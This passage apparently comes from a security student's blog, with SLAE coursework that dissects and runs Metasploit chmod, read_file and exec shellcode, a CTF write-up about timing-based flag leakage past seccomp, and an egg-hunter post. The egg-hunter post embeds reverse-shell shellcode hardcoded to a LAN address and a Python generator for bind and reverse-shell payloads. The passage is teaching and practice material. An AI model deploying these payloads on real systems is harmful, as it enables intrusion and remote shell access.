domingo, 16 de julio de 2017

Assignment 5: Metasploit Shellcode Analysis (SLAE)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-858


Exercise

  • Take up at least 3 shellcode sambles created using Msfpayload for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode  
  • Present your analysis

 

Solution

I chose the shellcodes:
  1. linux/x86/chmod - Runs chmod on specified file with specified mode
  2. linux/x86/read_file - Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
  3. linux/x86/exec - Execute an arbitrary command

linux/x86/chmod

 For the first example, we added a file named "slae.txt" and our shellcode generated with metasploit would change the file permissions (0666).

root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/chmod -a x86 FILE=slae.txt -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 33 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode

We dissasemble the shellcode with ndisasm and look the code:

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-chmod-shellcode | ndisasm -u -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E809000000        call dword 0x13
0000000A  736C              jnc 0x78
0000000C  61                popad
0000000D  652E7478          cs jz 0x89
00000011  7400              jz 0x13
00000013  5B                pop ebx
00000014  68B6010000        push dword 0x1b6
00000019  59                pop ecx
0000001A  CD80              int 0x80
0000001C  6A01              push byte +0x1
0000001E  58                pop eax
0000001F  CD80              int 0x80


First, we analyze the shellcode with libemu to show which are the syscalls that the shellcode is called. For it, we looked the eax register before the int 0x80 instruction. Look the highlight (0x0f - chmod)

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-chmod-shellcode | sctest -vvv -Ss 1000000
verbose = 3
[emu 0x0x8975078 debug ] cpu state    eip=0x00417000
[emu 0x0x8975078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] cpu state    eip=0x00417000
[emu 0x0x8975078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 99                              cwd 
[emu 0x0x8975078 debug ] cpu state    eip=0x00417001
[emu 0x0x8975078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 6A0F                            push byte 0xf
[emu 0x0x8975078 debug ] cpu state    eip=0x00417003
[emu 0x0x8975078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 58                              pop eax
[emu 0x0x8975078 debug ] cpu state    eip=0x00417004
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 52                              push edx
[emu 0x0x8975078 debug ] cpu state    eip=0x00417005
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] E809000000                      call 0xe
[emu 0x0x8975078 debug ] cpu state    eip=0x00417013
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x8975078 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 5B                              pop ebx
[emu 0x0x8975078 debug ] cpu state    eip=0x00417014
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x0041700a
[emu 0x0x8975078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 68B6010000                      push dword 0x1b6
[emu 0x0x8975078 debug ] cpu state    eip=0x00417019
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x00000000  edx=0x00000000  ebx=0x0041700a
[emu 0x0x8975078 debug ] esp=0x00416fc6  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] 59                              pop ecx
[emu 0x0x8975078 debug ] cpu state    eip=0x0041701a
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x000001b6  edx=0x00000000  ebx=0x0041700a
[emu 0x0x8975078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 
[emu 0x0x8975078 debug ] CD80                            int 0x80
stepcount 8
[emu 0x0x8975078 debug ] cpu state    eip=0x0041701c
[emu 0x0x8975078 debug ] eax=0x0000000f  ecx=0x000001b6  edx=0x00000000  ebx=0x0041700a
[emu 0x0x8975078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x8975078 debug ] Flags: 


hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-chmod-shellcode | sctest -vvv -Ss 1000000 -G msf-chmod-shellcode.dot

Unfortunately, libemu doesn't recognize these syscalls, so, any graphic or source code in C language is shown.

Our last step, to undertstand this shellcode, it is debug the program, using gdb (and peda).

For this purpose, we generate the shellcode again, but this time, the output will be in C language, before, I am going to compile it.

root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/chmod -a x86 FILE=slae.txt -f c -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode.c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 33 bytes
Final size of c file: 165 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode.c


We edit the msf-chmod-shellcode.c to compile as a program.

#include
#include

unsigned char code[] =
"\x99\x6a\x0f\x58\x52\xe8\x09\x00\x00\x00\x73\x6c\x61\x65\x2e"
"\x74\x78\x74\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01"
"\x58\xcd\x80";

main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

And test it.

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-chmod-shellcode.c -o msf-chmod-shellcode
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ chmod 000 slae.txt 
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ls -la slae.txt 
---------- 1 hiro hiro 16 abr 15 13:08 slae.txt
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ./msf-chmod-shellcode
Shellcode Length:  7
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ls -la slae.txt 
-rw-rw-rw- 1 hiro hiro 16 abr 15 13:08 slae.txt


The shellcode is working. Before the syscall we can look the registers eax, ebx and ecx.

 [----------------------------------registers-----------------------------------]
EAX: 0xf 
EBX: 0x804976a ("slae.txt")
ECX: 0x1b6 
EDX: 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff338 --> 0x0 
ESP: 0xbffff318 --> 0x0 
EIP: 0x804977a --> 0x16a80cd
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049773 : pop    ebx
   0x8049774 : push   0x1b6
   0x8049779 : pop    ecx
=> 0x804977a : int    0x80
   0x804977c : push   0x1
   0x804977e : pop    eax
   0x804977f : int    0x80
   0x8049781 : add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff318 --> 0x0 
0004| 0xbffff31c --> 0x8048469 (
: mov ecx,DWORD PTR [ebp-0x4]) 0008| 0xbffff320 --> 0x1 0012| 0xbffff324 --> 0xbffff3e4 --> 0xbffff549 ("/home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-chmod-shellcode") 0016| 0xbffff328 --> 0xbffff3ec --> 0xbffff591 ("XDG_VTNR=7") 0020| 0xbffff32c --> 0x8049760 --> 0x580f6a99 0024| 0xbffff330 --> 0xb7fbf3c4 --> 0xb7fc01e0 --> 0x0 0028| 0xbffff334 --> 0xbffff350 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0804977a in code () gdb-peda$


Resume of how the shellcode works

The chmod syscall needs the following arguments:
int chmod(const char *pathname, mode_t mode);

so, eax register will be the syscall, 0xf, the pathname will be in ebx and the mode in ecx register.
It is very simple to understand shellcode.

linux/x86/read_file

 First, we generate the shellcode with the command:

root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/read_file -a x86 PATH=/etc/passwd -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-read_file-shellcode
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-read_file-shellcode
root@HackingLab:/opt/metasploit-framework# ls -la /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-read_file-shellcode  

Dissasemble the code with ndisasm

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-read_file-shellcode | ndisasm -u -
00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  00                db 0x00

We examinate the shellcode with libemu:

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-read_file-shellcode | sctest -vvv -Ss 1000000
verbose = 3
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417000
[emu 0x0x82d8078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417000
[emu 0x0x82d8078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
[emu 0x0x82d8078 debug ] EB36                            jmp 0x38
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417038
[emu 0x0x82d8078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
[emu 0x0x82d8078 debug ] E8C5FFFFFF                      call 0xffffffca
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417002
[emu 0x0x82d8078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
[emu 0x0x82d8078 debug ] B805000000                      mov eax,0x5
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417007
[emu 0x0x82d8078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x82d8078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
[emu 0x0x82d8078 debug ] 5B                              pop ebx
[emu 0x0x82d8078 debug ] cpu state    eip=0x00417008
[emu 0x0x82d8078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: 
[emu 0x0x82d8078 debug ] 31C9                            xor ecx,ecx
[emu 0x0x82d8078 debug ] cpu state    eip=0x0041700a
[emu 0x0x82d8078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: PF ZF 
[emu 0x0x82d8078 debug ] CD80                            int 0x80
stepcount 5
[emu 0x0x82d8078 debug ] cpu state    eip=0x0041700c
[emu 0x0x82d8078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x82d8078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x82d8078 debug ] Flags: PF ZF 

We can see the syscalls:
0x5 - sys_open Open the file
0x3 - sys_read Read the file
0x4 - sys_write Used for write

Very easy to understand reading the assembly code. To execute, we compile the shellcode and debug it. Generate the shellcode in C format.

root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/read_file -f c -a x86 PATH=/etc/passwd -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-read_file-shellcode.c

#include
#include

unsigned char code[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";


int main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

Compile and run.

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-read_file-shellcode.c -o msf-read_file
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ./msf-read_file
Shellcode Length:  4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...


linux/x86/exec

 As the msfvenom payload description says this shellcode "Execute an arbitrary command". And We are going to understand how it works.
The first step is generate the shellcode with the following command (we generated in C format too).

root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/exec CMD=id -a x86 -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec
root@HackingLab:/opt/metasploit-framework# ./msfvenom -p linux/x86/exec CMD=id -f c -a x86 -o /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec.c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of c file: 185 bytes
Saved as: /home/hiro/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5/msf-exec.c

We dissasemble the shellcode with ndisasm.

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ cat msf-exec | ndisasm -u -
00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E803000000        call dword 0x20
0000001D  696400575389E1CD  imul esp,[eax+eax+0x57],dword 0xcde18953
00000025  80                db 0x80

We know the "/bin/sh" code is in

0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f

I thought that ndisasm did not dissasemble correctly the shellcode. So I compiled and debugged it with gdb.

       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-exec.c -o msf-exec
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gdb -q ./msf-exec 
Reading symbols from ./msf-exec...(no debugging symbols found)...done.
gdb-peda$ b *&code
Breakpoint 1 at 0x8049760
gdb-peda$ r
....

I saw that the call dword 0x20 instruction is executed, the arguments are:

arg[0]: 0x0 
arg[1]: 0x6e69622f ('/bin')
arg[2]: 0x68732f ('/sh')
arg[3]: 0x632d ('-c')
arg[4]: 0x84690000 

And it call to code+32
   0x804977f : add    BYTE PTR [edi+0x53],dl
   0x8049782 : mov    ecx,esp
=> 0x8049784 : int    0x80
   0x8049786 : add    BYTE PTR [eax],al
   0x8049788: add    BYTE PTR [eax],al
   0x804978a: add    BYTE PTR [eax],al
   0x804978c: add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff32e --> 0xbffff33e ("/bin/sh")
0004| 0xbffff332 --> 0xbffff346 --> 0x632d ('-c')
0008| 0xbffff336 --> 0x804977d --> 0x57006469 ('id')

The problem with ndisasm is that the line 0000001D is not dissasembled correctly.

0000001D  696400575389E1CD  imul esp,[eax+eax+0x57],dword 0xcde18953

So, when we debugged the program, we understood how it works. When the syscall sys_execve (0xb) is called, the registers are:

EAX: 0xb ('\x0b')
EBX: 0xbffff33e ("/bin/sh")
ECX: 0xbffff32e --> 0xbffff33e ("/bin/sh")
EDX: 0x0 

... and the stack:
0000| 0xbffff32e --> 0xbffff33e ("/bin/sh")
0004| 0xbffff332 --> 0xbffff346 --> 0x632d ('-c')
0008| 0xbffff336 --> 0x804977d --> 0x57006469 ('id')

It works...

hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ gcc -fno-stack-protector -z execstack msf-exec.c -o msf-exec
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment5$ ./msf-exec 
Shellcode Length:  15
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)


Source code: https://github.com/Sinkmanu/SLAE/tree/master/Assignment5

lunes, 8 de mayo de 2017

Reading files without the write syscall

Recently, I played in the DefCon CTF quals and there I saw a very interesting challenge called Mute [1]. It was a exploiting challenge, the flow control was very easy but the real challenge was in the libseccomp [2] bypass. It is a library to forbid syscalls that You don't want that the program executes. So, the write syscall wasn't allow.


I had not success with this challenge, but These are to learn!!! So, later, I read the writeup and I saw how it could be solved. One possible solution could be get each character and set a delay if the character match. Like a blind-SQLi.


I saw it very interesting, so I did my own shellcode to read characters and before I wrote a python script that uses this shellcode to read the file and print without the write syscall.

It is the assembly code:
       
global _start

section .text

_start:
        ; sys_open
        xor rax, rax
        xor rdi, rdi
        push rdi
        mov rdi, 0x67616c662f2f2f2e     ; .///flag 2e2f2f2f666c6167
        push rdi
        mov rdi, rsp                    ; *file
        xor rsi, rsi                    ; flags
        xor rdx, rdx                    ; mode
        mov al, 2
        syscall

        mov rdi, rax                    ; fd
        lea rsi, [rsp+8]                ; *buf
        or rdx, 0xf
        xor rax, rax                    ; sys_read
        syscall

        ; rsi is the string
        xor rdx, rdx
        mov rdx, 0x74                   ; compare character
        mov al, byte [rsi]              ; position
        cmp rax, rdx
        jnz exit

        ; guess OK
        xor r11, r11
        mov r11, 0
delay:
        inc r11
        cmp r11, 0x7fffffff
        jb delay

exit:
        xor rdi, rdi
        mov al, 60                      ; sys_exit
        syscall



And it is the python script:
       

#!/usr/bin/env python

from pwn import *
import string
import time

context.log_level = 'error'

u = make_unpacker(64, endian='little', sign='unsigned')
filename = hex(u('.///flag'))
flag = ""
pos = -1
lastchar = 0

while (lastchar < len(string.printable)):
        for i in string.printable:
                start = time.time()
                shellcode = '''
        xor rax, rax 
        xor rdi, rdi 
        push rdi 
        mov rdi, %s
        push rdi 
        mov rdi, rsp                     
        xor rsi, rsi                    
        xor rdx, rdx                    
        mov al, 2
        syscall
        mov rdi, rax                    
        lea rsi, [rsp+8]                
        or rdx, 0xf
        xor rax, rax                    
        syscall
        xor rdx, rdx
        mov rdx, %s                  
        mov al, byte [rsi+%s]
        cmp rax, rdx
        jnz exit
        xor r11, r11
        mov r11, 0
delay:
        inc r11
        cmp r11, 0x7fffffff
        jb delay
exit:
        xor rdi, rdi
        mov al, 60                    
        syscall
'''%(filename,hex(ord(i)),str(pos))
                lastchar += 1
                p = run_assembly(shellcode, arch="amd64")
                p.wait_for_close()
                end = time.time()
                if ((end - start) > 0.5):
                        pos += 1
                        lastchar = 0
                        print "Found: %s"%i
                        flag = "%s%s"%(flag,i)

print "[*] String: %s"%flag



[1] https://ctftime.org/task/4126
[2] https://github.com/seccomp/libseccomp
[3] https://gist.github.com/Sinkmanu/ae701fd14b2c2af1bf745268d896ca52

martes, 4 de abril de 2017

Assignment 3: Egg Hunter Shellcode (SLAE)

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-858


Exercise

  •  Study about the egg hunter shellcode  
  • Create a working demo of the Egghunter  
  • Should be configurable for different payloads 

 

Solution

First, What is an EggHunter shellcode?
A EggHunter is a little program that It is used to find a "pattern". In our case of study, our egghunter look for the pattern because after is the shellcode. It is very important and useful when we don't know where is the shellcode. So the egghunter program will look in all the memory position to find the "EGG" and run the shellcode.
Exists multiple ways to do an egghunter shellcode, but the best way is read all the memory position to find it.


       
global _start

_start:

align_page:
    or cx,0xfff         ; page alignment


next_address:
    inc ecx
    push byte +0x43     ; sigaction(2)
    pop eax             
    int 0x80            
    cmp al,0xf2         ; EFAULT?
    jz align_page       
    mov eax, 0x50905090 
    mov edi, ecx        
    scasd               
    jnz next_address    
    scasd               
    jnz next_address    
    jmp edi  


It is a very good way to read all memory positions, this egghunter shellcode was described in the Skape paper about the EggHunter. In this program, every memory position is read using the syscall sigaction, when the code EFAULT is returned means that the position is invalid and when it happens we aling the page, but when the position is OK we check the content of these position and compare with our EGG. If the egg is inside the position, our shellcode is 8-bytes after. So we jump to the 8-byte after position where we found the EGG.

Demo

       
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ nasm -f elf32 egg-hunter.nasm -o egg-hunter.o
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ ld egg-hunter.o -o egg-hunter
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ objdump -d ./egg-hunter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ cat shellcode.c 
#include
#include

#define EGG "\x90\x50\x90\x50"

unsigned char egg_hunter[] = \
"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";

unsigned char code[] = 
EGG
EGG 
"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68\xc0\xa8\x01\x40\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{

 printf("Egg hunter Length: %d\n", strlen(egg_hunter));
 printf("Shellcode Length:  %d\n", strlen(code));

 int (*ret)() = (int(*)())egg_hunter;

 ret();

}
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
hiro@HackingLab:~/SLAE/SLAE/EXAMEN/GitHub/SLAE/Assignment3$ ./shellcode 
Egg hunter Length: 30
Shellcode Length:  94
$ id
uid=1000(hiro) gid=1000(hiro) groups=1000(hiro),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),110(lpadmin),113(scanner)
$


Configurable for different payloads

I made a simple script that it generate an egghunter shellcode with different payloads like exec, bind and reverse:

       
#!/usr/bin/env python

import sys
import struct
import os
import binascii
import socket
from optparse import OptionParser, OptionGroup

shellcode_l = {
 'exec':"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68\xc0\xa8\x01\x40\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
 'reverse':"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68ADDRESS\x66\x68PORT\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80",
 'bind':"\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x31\xc9\x50\x66\x68PORT\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x31\xc0\x50\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
}

def eggHunter(egg):
 egghunter = "\\x66\\x81\\xc9\\xff\\x0f\\x41\\x6a\\x43\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xf1\\xb8%s\\x89\\xcf\\xaf\\x75\\xec\\xaf\\x75\\xe9\\xff\\xe7"%getEgg(egg)
 return egghunter

def port2hex(port):
 return struct.pack(">H", port)


def address2hex(address):
 addr = binascii.hexlify(socket.inet_aton(address))
 return binascii.unhexlify("".join([addr[i:i+2] for i in range(0, len(addr), 2)]))
 

def getEgg(eggi):
        egg = ""
        for c in range(0, 8, 2):
